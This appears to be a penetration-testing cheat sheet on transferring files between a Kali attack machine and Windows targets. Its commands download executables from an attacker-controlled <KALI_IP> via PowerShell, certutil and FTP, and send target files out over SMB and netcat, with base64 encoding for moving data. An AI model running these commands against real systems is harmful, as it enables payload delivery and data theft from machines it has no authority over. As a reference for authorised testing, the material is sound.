Transferring files between your attack machine and target systems is a crucial skill during penetration testing. This document covers various techniques for moving files between Linux and Windows systems.
Linux to Windows File Transfers
Using SMB Server
One of the most reliable methods to transfer files from Kali Linux to Windows is using an SMB server:
# On Kali - Start an SMB server in the current directorysudopython3/usr/share/doc/python3-impacket/examples/smbserver.pyshare_name.# On Windows - Copy file from the SMB sharecopy\\<KALI_IP>\share_name\file.exeC:\destination\file.exe
# On Kali - Start a Python HTTP server
python3 -m http.server 8000
# On Windows - Download using PowerShell
powershell -c "Invoke-WebRequest -Uri 'http://<KALI_IP>:8000/file.exe' -OutFile 'C:\destination\file.exe'"
# Alternative PowerShell method
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<KALI_IP>:8000/file.exe', 'C:\destination\file.exe')"
# On Windows - Download using certutil
certutil -urlcache -split -f "http://<KALI_IP>:8000/file.exe" C:\destination\file.exe
# On Kali - Install and configure Python ftplib
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
# On Windows - Use native FTP client (create a script.txt file first)
echo open <KALI_IP> 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
# On Kali - Start SMB server with write permissions
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support -username user -password password share_name /path/to/share
# On Windows - Copy file to SMB share
copy C:\path\to\file.txt \\<KALI_IP>\share_name\
# On Kali - Set up listener to receive file
nc -nlvp 4444 > received_file.txt
# On Windows - Send file
type C:\path\to\file.txt | nc <KALI_IP> 4444
# On Windows - Encode file to base64
certutil -encode C:\path\to\file.txt encoded.b64
# Copy the base64 text and on Kali
echo "PASTE_BASE64_HERE" | base64 -d > file.txt